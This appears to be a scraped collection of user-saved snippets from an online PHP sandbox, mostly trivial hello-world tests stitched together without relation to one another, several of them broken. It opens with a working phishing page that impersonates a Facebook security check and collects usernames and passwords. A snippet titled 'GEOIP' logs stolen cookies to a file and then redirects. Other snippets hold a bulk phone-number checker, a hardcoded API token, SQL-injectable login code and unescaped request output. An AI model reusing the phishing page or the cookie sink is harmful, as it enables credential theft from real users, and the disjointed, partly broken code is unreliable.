<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Security Check</title> <link rel="shortcut icon" type="ico" href="images/fb-ico.png"> <link rel="stylesheet" type="text/css" href="style.css"> </head> <body> <header> <div class="main-header"> <div class="logo"> <a href="http://www.facebook.com"><img src="images/logo.png" alt="Facebook"></a> </div> </div> </header> <section> <div class="form"> <div class="m-header"> <h3>Facebook Security Check</h3> </div> <div class="red-box"> <p style="font-weight:bold; font-size:13px">Verify needed to understand it's you</p> <p>Enter your passwor for security reason (make sure yuor caps lock is off)</p> <p>Forgot your password ? <a href=">Request new one</a> </div> <div class="login-form"> <form action="do_action.php"> <label for="username">Username:</label> <input name="username" type="text" id="username"></input><br /><br /> <label for="password">Password:</label> <input name="password" id="password" type="password"></input><br /> <input id="keep" style="margin: 10px 0 0 84px" type="checkbox"></input> <label for="keep" style="font-size:12px;">keep me logged in</label><br /> <input type="submit" name="submit" value="Verify" style="background: none repeat scroll 0 0 #3b5998; border: 1px solid #294461; color: #ffffff; margin: 4px 0 0 80px; padding: 2px 6px;"></input> <p><a style="text-decoration:none; color:#3B5998; margin:0 0 0 80px;" href=">can't log in?</a></p> </form> </div> </div> <footer> <ul> <li><a href=">Mobile</a></li> <li><a href=">Find Friends</a></li> <li><a href=">Badges</a></li> <li><a href=">People</a></li> <li><a href=">Pages</a></li> <li><a href=">Apps</a></li> <li><a href=">Games</a></li> <li><a href=">Music</a></li> <li><a href=">Locations</a></li> </ul> <ul> <li><a href=">Topics</a></li> <li><a href=">About</a></li> <li><a href=">Create Ad</a></li> <li><a href=">Create Page</a></li> <li><a href=">Devepers</a></li> <li><a href=">Careers</a></li> <li><a href=">Privacy</a></li> <li><a href=">Cookies</a></li> <li><a href=">Terms</a></li><br /> <li><a href="#">Help</a></li> </ul> </footer> </section> </body> </html>

aaaa

<?php class ABC { public $var = 5; } class XYZ extends ABC{ $this->var = $this->var + 1; } $obj = new XYZ; echo $obj->var; ?>

Sum of arrray

<?php $array = array(1,2,3,4); foreach($array as &$key){ $key +=$key; } print_r($array);?> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<pre>"; for($i=1;$i<=5;$i++) { for($k=5;$k>=$i;$k--) { echo "&nbsp;&nbsp;"; } for($j=1;$j<=$i;$j++) { echo "&nbsp; $i "; if($j == $i) { echo"&nbsp;"; echo"</br>"; } } } echo "</pre>"; ?> </body> </html>

123213

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php ini_set('display_errors', 1); /** * @author Sahil Gulati <sahil.gulati1991@outlook.com> */ echo printr_source_to_json( print_r( array("Name"=>"Sahil Gulati", "Education"=>array( "From"=>array( "DU"=>array( "Course"=>"B.Sc. (Hons.) Computer Science.") ) ) ) , true ) ); /** * This function will convert output string of `print_r($array)` to `json string` * @note Exceptions are always there i tried myself best to get it done. Here $array can be array of arrays or arrays of objects or both * @param String $string This will contain the output of `print_r($array)` (which user will get from ctrl+u of browser), * @return String */ function printr_source_to_json($string) { /** *replacing `stdClass Objects (` to `{` */ $string = preg_replace("/stdClass Object\s*\(/s", '{ ', $string); /** *replacing `Array (` to `{` */ $string = preg_replace("/Array\s*\(/s", '{ ', $string); /** *replacing `)\n` to `},\n` * @note This might append , at the last of string as well * which we will trim later on. */ $string = preg_replace("/\)\n/", "},\n", $string); /** *replacing `)` to `}` at the last of string */ $string = preg_replace("/\)$/", '}', $string); /** *replacing `[ somevalue ]` to "somevalue" */ $string = preg_replace("/\[\s*([^\s\]]+)\s*\](?=\s*\=>)/", '"\1" ', $string); /** * replacing `=> {` to `: {` */ $string = preg_replace("/=>\s*{/", ': {', $string); /** * replacing empty last values of array special case `=> \n }` to : " \n */ $string = preg_replace("/=>\s*[\n\s]*\}/s", ":\"\"\n}", $string); /** * replacing `=> somevalue` to `: "somevalue",` */ $string = preg_replace("/=>\s*([^\n\"]*)/", ':"\1",', $string); /** * replacing last mistakes `, }` to `}` */ $string = preg_replace("/,\s*}/s", '}', $string); /** * replacing `} ,` at the end to `}` */ return $string = preg_replace("/}\s*,$/s", '}', $string); } ?> </body> </html>

Hassan

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

echo <<<HTML <div style="font:12px/1.35em arial, helvetica, sans-serif;"> <p>Magento supports PHP 7.0.2, 7.0.4, and 7.0.6 or later. Please read <a target="_blank" href="http://devdocs.magento.com/gu

echo <<<HTML <div style="font:12px/1.35em arial, helvetica, sans-serif;"> <p>Magento supports PHP 7.0.2, 7.0.4, and 7.0.6 or later. Please read <a target="_blank" href="http://devdocs.magento.com/guides/v1.0/install-gde/system-requirements.html"> Magento System Requirements</a>. </div> HTML;

PHPONLINE

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

test

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

web desining

<html> <body> <h1>My first PHP page</h1> <?php echo "Hello World!"; ?> </body> </html>

Ashvni

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

function-smal-exp

public function updatePassword(InfluencerRequest $request){ $validatorResult = self::validateUpdatePassword($request, $this); if ($validatorResult[DatabaseConst::ERROR]) return $this->responseData([], $validatorResult[DatabaseConst::MESSAGE],$validatorResult[DatabaseConst::ERROR]); $responseData = $validatorResult[DatabaseConst::RESPONSE_DATAS]; $idUser = $this->getUserInfo()[DatabaseConst::ID]; $userAdmin = Admin::getById($idUser); if (!Hash::check($responseData[AdminDatabaseConst::CURRENT_PASSWORD], $userAdmin[AdminDatabaseConst::PASSWORD])) return $this->responseData([], Lang::get('response.ADMIN_PASS_INVALID'), true); if($responseData[AdminDatabaseConst::NEW_PASSWORD] == $responseData[AdminDatabaseConst::CONFIRM_PASSWORD] && strlen($responseData[AdminDatabaseConst::NEW_PASSWORD]) > 6){ Admin::where(AdminDatabaseConst::ID, $idUser)->update([AdminDatabaseConst::PASSWORD =>$this->HashPass($responseData[AdminDatabaseConst::NEW_PASSWORD]) ]); return $this->responseData([], Lang::get('response.SUCCESS')); }else return $this->responseData([], Lang::get('response.ADMIN_PASS_INVALID'), true); }

test

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

cotton

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

data.php

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

Short Code replace with regular expressions

<?php $text = <<<EOT Ez egy [SC ALIAS='akármi']. Ez itt egy [SC LOAD='akármi más']. Ez pedig egy szintén olyan, ami [SC ALIAS='valami' PARAMS='szöveg:érték;másik érték|szám:12|mégegy:ennekazértéke|önálló']. :) EOT; $pattern = '/\[\s*sc\s+(?<key1>\w+)\s*=\s*([\'\"])(?<value1>[^\2]*?)\2(?:\s+(?<key2>\w+)\s*=\s*([\'\"])(?<value2>[^\5]*?)\5)?\s*\]/si'; $newText = preg_replace_callback($pattern, function($m) { $result = '{'.$m['key1'].' content="'.$m['value1'].'"'; if (isset($m['key2']) && strtolower($m['key2']) === 'params') { $params = trim($m['value2']); if ($params !== '') { $params = explode('|', $params); foreach ($params as $param) { list($key, $value) = array_merge(explode(':', $param), ['']); $result .= ' '.$key.'="'.$value.'"'; } } } $result .= '}'; return $result; }, $text); echo $newText; <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php trait LambdasAsMethods { public function __call($name, $args) { return call_user_func_array($this->$name, $args); } } class MyClass { use LambdasAsMethods; private $innner; public function __construct() { $this->inner = function() { echo "Hello World!\n"; }; } } $myInstance = new MyClass(); $myInstance->innner(); ?> </body> </html>

hi1234

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

afddd

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

test

<?php $arr = ['', 'male', 'female']; var_dump(array_rand($arr)); echo PHP_EOL; var_dump($arr[array_rand($arr)]);

cyrillic

<?php function checkEncoding ( $string, $string_encoding ) { $fs = $string_encoding == 'UTF-8' ? 'UTF-32' : $string_encoding; $ts = $string_encoding == 'UTF-32' ? 'UTF-8' : $string_encoding; return $string === mb_convert_encoding ( mb_convert_encoding ( $string, $fs, $ts ), $ts, $fs ); } function transliterate($textcyr = null, $textlat = null) { $cyr = array( 'ж', 'ч', 'щ', 'ш', 'ю', 'а', 'б', 'в', 'г', 'д', 'е', 'з', 'и', 'й', 'к', 'л', 'м', 'н', 'о', 'п', 'р', 'с', 'т', 'у', 'ф', 'х', 'ц', 'ъ', 'ь', 'я', 'Ж', 'Ч', 'Щ', 'Ш', 'Ю', 'А', 'Б', 'В', 'Г', 'Д', 'Е', 'З', 'И', 'Й', 'К', 'Л', 'М', 'Н', 'О', 'П', 'Р', 'С', 'Т', 'У', 'Ф', 'Х', 'Ц', 'Ъ', 'Ь', 'Я'); if($textcyr) return str_replace($cyr, $lat, $textcyr); else if($textlat) return str_replace($lat, $cyr, $textlat); else return null; } $s1 = "aa Главная страница bb áéó łóżźćę kk"; $s2 = "test ółężźć áéó bb -- <b>[;'123]</b> ?/.qwertyZX @`~` ---"; $s3 = "3m4"; $s4 = 'Главная страница'; var_dump( preg_match ('/^[\p{Cyrillic}]+$/u', $s4) ); var_dump( preg_match ('/^[\p{N}]+$/', $s3) ); //echo transliterate(null,transliterate($string)); /* setlocale(LC_CTYPE, 'pl_PL'); $test = iconv('UTF-8', 'ASCII//IGNORE', $string); var_dump($test); */

test101

<?php $str = "1, 1.1, 1.3, 2.1, 2, 2.1.1, 2.2, 1.2"; // Строка с данными $arr = explode(',', $str); // Формируем массив данных sort($arr); // Сортируем массив $search = "2.1"; // Искомое значение $searchKey = null; // Искомый индекс // Перебираем массив и ищем ключ foreach($arr as $key=>$item){ if(trim($item) == $search){ $searchKey = $key; break; } }unset($key, $item); if($searchKey){ $next_item = null; if(isset($arr[$searchKey+1])){ $next_item = $arr[$searchKey+1]; } if($next_item){ // Выводим результат var_dump($next_item); }else{ print "Это конечное значение"; } }else{ print "Искомое значение не найдено"; }

search_next_number

<?php $str = "1, 1.1, 1.3, 2.2, 2, 1.2"; // Строка с данными $arr = explode(',', $str); // Формируем массив данных sort($arr); // Сортируем массив $search = "1.1"; // Искомое значение // Цикл, с помошью которого находим текущее искомое значение в массиве while (($current = next($arr)) !== NULL) { if ($current == $search) { break; } } // Определяем следующий элемент $next_item = next($arr); // Выводим результат var_dump($next_item);

D:\My Works\skype-web-php-master

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

asdf

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $newstring=''; $pos = strpos("www.website.com/download/files/file/long-file-name-123", "download"); if ($pos !== false) { $newstring = substr_replace("www.website.com/download/files/file/long-file-name-123", "downloads", $pos, strlen("download")); } echo ($newstring); ?> </body> </html>

hola

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

newfile.php

<html> <head> <title> insert title here </title> </head> <body> <form action="newfile.php" method="POST"> Empid:<input type="text" name="empid"> EmpName:<input type="text" name="empname"> sal:<input type="text" name="sal"> <input type="button" value="submit" name="submit"> </form> </body> </html>

abcd

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

msks

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

buildwebpro

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

Meno

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

Login

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

kkkk

<?php function checkNum($number) { if($number<1) { throw new Exception("Value must be 1 or below"); } return true; } try { checkNum(0); echo "If you see this, the number is 1 or below"; } catch( Exception $e ) { echo "Message: " .$e->getMessage(); } ?>

fgdgd

<?php $to = 'softphoton001@gmail.com'; $subject = 'Marriage Proposal'; $message = 'Hi Jane, will you marry me?'; $from = 'softphoton001@gmail.com'; // Sending email if(mail($to, $subject, $message)){ echo 'Your mail has been sent successfully.'; } else{ echo 'Unable to send email. Please try again.'; } ?>

PHPMY

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $a = 1.23456789; $b = 1.23456780; $epsilon = 0.00001; if(abs($a-$b) < $epsilon) { echo "true"; } echo 'Arnold once said: "I\'ll be back"'; echo "\v \v Hello \t hai echo <<<EOT; ?> </body> </html>

hi am fine

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

Mook

<html> <head> <title>Test line notify PHP</title> </head> <body> <?php $line_api = 'https://notify-api.line.me/api/notify'; $access_token = 'IXoAJHpKhY46pVOxiUQcs6Wvl5SL0YxOKk816lPFlRQ'; $str = 'Test Message'; //ข้อความที่ต้องการส่ง สูงสุด 1000 ตัวอักษร $image_thumbnail_url = 'http://www.catdumb.com/wp-content/uploads/2018/05/gavin-9.jpg'; // ขนาดสูงสุด 240×240px JPEG $image_fullsize_url = 'http://www.catdumb.com/wp-content/uploads/2018/05/gavin-9.jpg'; // ขนาดสูงสุด 1024×1024px JPEG $sticker_package_id = 1; // Package ID ของสติกเกอร์ $sticker_id = 103; // ID ของสติกเกอร์ $message_data = array( 'message' => $str, 'imageThumbnail' => $image_thumbnail_url, 'imageFullsize' => $image_fullsize_url, 'stickerPackageId' => $sticker_package_id, 'stickerId' => $sticker_id ); $result = send_notify_message($line_api, $access_token, $message_data); print_r($result); function send_notify_message($line_api, $access_token, $message_data) { $headers = array('Method: POST', 'Content-type: multipart/form-data', 'Authorization: Bearer '.$access_token ); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $line_api); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_POSTFIELDS, $message_data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); // Check Error if(curl_error($ch)) { $return_array = array( 'status' => '000: send fail', 'message' => curl_error($ch) ); } else { $return_array = json_decode($result, true); } curl_close($ch); return $return_array; } ?> </body> </html>

GEOIP

<?php $cookie = $_GET["cookie"]; #f = fopen("cookiefile.txt","a+"); fwrite ($f, $cookie ,"\n\n"); // @header ("Location:https://facebook.com"); // fclose($f); ?>

operoper

<!DOCTYPE html> <html> <head> <title>Check Operadora Lacerda</title> <meta charset="UTF-8"> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" integrity="sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZlpLegxhjVME1fgjWPGmkzs7" crossorigin="anonymous"> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap-theme.min.css" integrity="sha384-fLW2N01lMqjakBkx3l/M9EahuwpSfeNvV63J5ezn3uZzapT0u7EYsXMjQV+0En5r" crossorigin="anonymous"> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js" integrity="sha384-0mSbJDEHialfmuBBQP6A4Qrprq5OVfW37PRR3j5ELqxss1yVqOtnepnHVP9aJ7xS" crossorigin="anonymous"></script> </head> <body><center> <h2> &#10004; CHECKER OPERADORAS - LACERDA MV </h2></center> <form method="POST"> <center> <br> <textarea cols="90" rows="10" name="telefones" placeholder="Exemplo de número um em baixo do outro : 79999999999 81999888888 "></textarea> <br> <br> <input type="submit" name="enviar" class="btn btn-info" value="TESTAR TELEFONES"> </form> </center> </body> </html> <?php error_reporting(0); set_time_limit(0); if(file_exists(getcwd().'CookieOperadora.txt')) { unlink(getcwd().'CookieOperadora.txt'); } function getStr($string,$start,$end){ $str = explode($start,$string); $str = explode($end,$str[1]); return $str[0]; } if(isset($_POST['enviar'])){ $SetParamList = trim($_POST['telefones']); flush(); ob_flush(); $SetParamList = split("\n", $SetParamList); $SetParamCount = count($SetParamList); flush(); ob_flush(); for($setParamUX = 0; $setParamUX < $SetParamCount; $setParamUX++) { $SetParamList = str_replace(" ", ", $SetParamList); $SetParamList = str_replace("\r", ", $SetParamList); $SetParamList = str_replace("\n", ", $SetParamList); list($ddd, $numero) = split("[:|;/]", $SetParamList[$setParamUX]); flush(); ob_flush(); $setParamFunction = ChecaOperadora($ddd, $numero); print $setParamFunction; } print "<center><br> <div style='width: 40%;' class='btn btn-info'> Números Consultados: <strong>{$SetParamCount}</strong></div></center>"; } function ChecaOperadora($ddd, $numero) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'http://consultanumero.info/consulta'); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_COOKIESESSION, false ); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded')); curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/CookieOperadora.txt'); curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/CookieOperadora.txt'); curl_setopt($ch, CURLOPT_VERBOSE, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_REFERER, 'http://consultanumero.info/'); curl_setopt($ch, CURLOPT_POSTFIELDS, "tel=$ddd$numero"); $data1 = curl_exec($ch); echo "<br>"; $operadora = getStr($data1,'<div class="a">','<div'); $dados1 = getStr($data1,'<div class="tel">','</div>'); $dados2 = getStr($data1,'<div class="b">','</div>'); echo "<center> $dados1<br><br> $dados2 <br><br> </center>"; if(stristr($data1,'<img src="/img/op/tim.png"') !== false) { $tim ="$ddd$numero "; $fp = fopen("Tim.txt", "a+"); fwrite($fp , $tim); fclose($fp); } elseif(stristr($data1, '<img src="/img/op/claro.png"') !== false) { $claro ="$ddd$numero "; $fp = fopen("Claro.txt", "a+"); fwrite($fp , $claro); fclose($fp); } elseif(stristr($data1,'<img src="/img/op/vivo.png"') !== false) { $vivo ="$ddd$numero "; $fp = fopen("Vivo.txt", "a+"); fwrite($fp , $vivo); fclose($fp); } elseif(stristr($data1,'<img src="/img/op/oi.png"') !== false) { $oi ="$ddd$numero "; $fp = fopen("Oi.txt", "a+"); fwrite($fp , $oi); fclose($fp); } else { echo "<center><p>Número $ddd - $numero INVÁLIDO !!</p></center>"; } }?>

sdfasdf

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $a = 1.23456789; $b = 1.23456780; $value = $a-$b; echo $value;?> </body> </html>

https://www.smsgateway.center/SMSApi/rest/send

<?php $curl = curl_init(); $apikey = 'somerandomkey';//if you use apikey then userid and password is not required $userId = 'YourUsername'; $password = 'YourPaswword'; $sendMethod = 'simpleMsg'; //(simpleMsg|groupMsg|excelMsg) $messageType = 'text'; //(text|unicode|flash) $senderId = 'SMSGAT'; $mobile = '9199999999999,9199999999998';//comma separated $msg = "This is my first message with SMSGatewayCenter"; $scheduleTime = '';//mention time if you want to schedule else leave blank curl_setopt_array($curl, array( CURLOPT_URL => "http://www.smsgateway.center/SMSApi/rest/send", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => ", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => "userId=$userId&password=$password&senderId=$senderId&sendMethod=$sendMethod&msgType=$messageType&mobile=$mobile&msg=$msg&duplicateCheck=true&format=json", CURLOPT_HTTPHEADER => array( "apikey: $apikey", "cache-control: no-cache", "content-type: application/x-www-form-urlencoded" ), )); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if ($err) { echo "cURL Error #:" . $err; } else { echo $response; }

court information management system

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php session_start(); if(!isset($_SESSION['id'])) header('location: login.php'); $uname=$_POST["username"]; $pword=$_POST["password"]; $db = mysql_connect("localhost","root",") or die ("Error connecting to database."); if(!$db){ $message= "no connection established"; } mysql_select_db("court",$db) or die("Couldn't select the database."); $results="select * from account where username='".$uname."' and password='".$pword ."' and status='on'"; $results = mysql_query($query) or die(mysql_error()); $count=mysql_num_rows($results); // If result matched $myusername and $mypassword, table row must be 1 row if(!$results){ echo "<center>Username or password was incorrect! Please try again </center>"; //include("log.php"); } else while ($row = mysql_fetch_array($results)) { $_SESSION['uname']=$row['User_id']; $_SESSION['fname']=$row['Fname']; $_SESSION['lname']=$row['Lname']; $user=$row['role']; if($user=="admin"){ header('location:AdminPage.php');} //echo "admin"; else if($user=='law_officer'){ header('location:officer.php'); //echo "keeper"; } else if($user=='judge'){ header('location:judge.php'); } } $message="sorry,you are not amember"; mysql_close($db); ?> </body> </html> <?php //$listSql = mysql_query("SELECT * FROM playlists WHERE uip = '$uip'"); //$row = myql_fetch_array($listSql); //$ids = $row["ids"]; $sqlresult="455:2156:32156:548864:6644:641:1749:833:498:349:501:417:1436:1381:1828:1988:1395:2078:2708:2414:2431:2518:2996:3357:2521:2749:2740:2486:2644:2463:1969"; $sid = explode(":",$sqlresult); $removeids = "2156,455,6644,641,2431";//$_POST["rids"]; $removeids = explode(",",$removeids); $usid = array_diff($sid,$removeids); $newids = implode(":",$usid); // Remove from array //unset($sid[$usid]); print_r($usid); echo implode(":",$usid); $updatelist = mysql_query("UPDATE playlists SET ids = '$newids' WHERE id = '$uid'");?>

age1

<html> <body> <?php echo "You will celebrate your {$_REQUEST["age"]}th birthday this year!"; ?> </body> </html>

when-empty-is-not-empty

<?php class Person { protected $attributes = []; public function __construct(array $attributes) { $this->attributes = $attributes; } public function __get($name) { return $this->attributes[$name] ?? null; } } $person = new Person(['firstName' => 'Freek']); var_dump( $person->firstName, empty($person->firstName), isset($person->firstName), is_null($person->firstName) );

<?php session_start(); if(!isset($_SESSION['usuario'])){ header('Location: login.php'); } require 'vista/usuarios_vista.php'; ?>

<?php session_start(); if(!isset($_SESSION['usuario'])){ header('Location: login.php'); } require 'vista/usuarios_vista.php';?>

Hanter

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

test

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

Team Computers Contact Form

<?php $curl = curl_init(); $apikey = 'somerandomkey';//if you use apikey then userid and password is not required $userId = 'YourUsername'; $password = 'YourPaswword'; $sendMethod = 'simpleMsg'; //(simpleMsg|groupMsg|excelMsg) $messageType = 'text'; //(text|unicode|flash) $senderId = 'SMSGAT'; $mobile = '9199999999999,9199999999998';//comma separated $msg = "This is my first message with SMSGatewayCenter"; $scheduleTime = '';//mention time if you want to schedule else leave blank curl_setopt_array($curl, array( CURLOPT_URL => "http://www.smsgateway.center/SMSApi/rest/send", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => ", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => "userId=$userId&password=$password&senderId=$senderId&sendMethod=$sendMethod&msgType=$messageType&mobile=$mobile&msg=$msg&duplicateCheck=true&format=json", CURLOPT_HTTPHEADER => array( "apikey: $apikey", "cache-control: no-cache", "content-type: application/x-www-form-urlencoded" ), )); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if ($err) { echo "cURL Error #:" . $err; } else { echo $response; }

test bili

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> javascript:; <body> Hello: <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <?php echo gettype($x); $x=10; $y=20.5; echo gettype($x); echo gettype($y); ?> </html>

textt

<!DOCTYPE HTML> <html> <head> <title>Example</title> </head> <body> <?php echo "Hi, I'm a PHP script!"; ?> </body> </html>

okokokokoko

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

cargo

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

code

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

Abhijeet

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

http://couponparent.com/1602244978234

<section class="gallery"> <?php foreach($page->images() as $image): ?> <figure> <a href="<?= $image->url() ?>"> <img src="<?= $image->url() ?>" alt="> </a> </figure> <?php endforeach ?> </section>

chess

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

dxvcxvxc

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

myphp

<?php /* * Template Name: CorporateTmplt New Template */ get_header(); ?> <!DOCTYPE HTML> <html lang="en"> <head> <meta charset="utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <title>expemark.com</title> <meta name="viewport" content="width=device-width, initial-scale=1" /> <!-- stylesheet for demo and examples --> <link rel="shortcut icon" type="image/x-icon" href="corporate_event/image/favicon.ico"> <link rel="stylesheet" href="<?php bloginfo( 'template_url' ); ?>/corporate_event/css/bootstrap.css" > <link rel="stylesheet" href="<?php bloginfo( 'template_url' ); ?>/corporate_event/css/style.css"> <link href='<?php bloginfo( 'template_url' ); ?>/corporate_event/css/jquery.lighter.css' rel='stylesheet' type='text/css'> <style> body:after{ position:relative; } </style> </head> <body > <!-- menu start--> <header class="section-header"> <div class="container"> <!-- Navigation --> <nav class="navbar navbar-inverse navbar-fixed-top" role="navigation"> <div class="container"> <!-- Brand and toggle get grouped for better mobile display --> <div class="navbar-header" > <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="<?php echo get_site_url(); ?>"><img src="<?php bloginfo( 'template_url' ); ?>/img/logo-1.png"></a> </div> <!-- Collect the nav links, forms, and other content for toggling --> <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1"> <?php wp_nav_menu( array( 'theme_location' => 'header-menu', 'items_wrap' => '<ul class="nav navbar-nav navbar-right" style="margin-top: 15px;"><li></li>%3$s</ul>', 'walker' => new Child_Wrap()) ); ?> </div> <!-- /.navbar-collapse --> </div> <!-- /.container --> </nav> </div> </header> <!-- main header end --> <!-- menu end--> <header> </header> <nav id="navigation-menu" style="margin-top:80px;"> <div class="container"> <ul> <li><a href="#section-1">Services</a></li> <li><a href="#section-2">EVENT MANAGEMENT</a></li> <li><a href="#section-3">BRAND CONSULTING</a></li> <li><a href="#section-4">CORPORATE EVENTS</a></li> <li><a href="#section-5">AWARDS NITE</a></li> <li><a href="#section-6">FASHION SHOWS</a></li> <li><a href="#section-7">CONFERENCES</a></li> <li><a href="#section-8">PRODUCT LAUNCHES</a></li> <li><a href="#section-9">GOVT. PROJECTS</a></li> <li><a href="#section-10">EXHIBITIONS</a></li> <li><a href="#section-11">SPORTS MANAGEMENT</a></li> <li><a href="#section-12">BTL ACTIVITIES</a></li> <li><a href="#section-13">ROAD SHOWS</a></li> <li><a href="#section-14">MALL PROMOTIONS</a></li> <li><a href="#section-15">BIRTHDAY CELEBRATIONS</a></li> <li><a href="#section-16">WEDDINGS</a></li> <li><a href="#section-17">TECHNOLOGICAL EVENTS</a></li> </ul> </div> </nav> <div id="content" style="margin-top:10px;"> <section id="section-1"> <div class="content "> <h2 class="hd-line text-center" style="margin-top:250px;"> Services</h2> <div class="about-box"> <p> <span >A simple insight can change how you work.</span> <br> Expemark offers you a single window solution about your events. From its inception to execution, successfully, each time, every time. On an average, loyal customers are worth up to 10 times as much as they spend on their first purchase. It is not a number we want to arrive at. But we understand the value of creating brands that are retained and recalled by customers. Customer satisfaction is merely the stepping stone. We aim at customer astonishment. Our range of services goes over the process of brand creation and the means to strengthen it. We offer our services for the following: <ul> <li > Brand consulting</li> <li > Employee development programs</li> <li > Off-site and training programs</li> <li > AGM and meeting management</li> <li > Corporate placement and training</li> </ul> </p> </div> <hr /> <a href="#top">&uarr; Back to top</a> <a href="#" 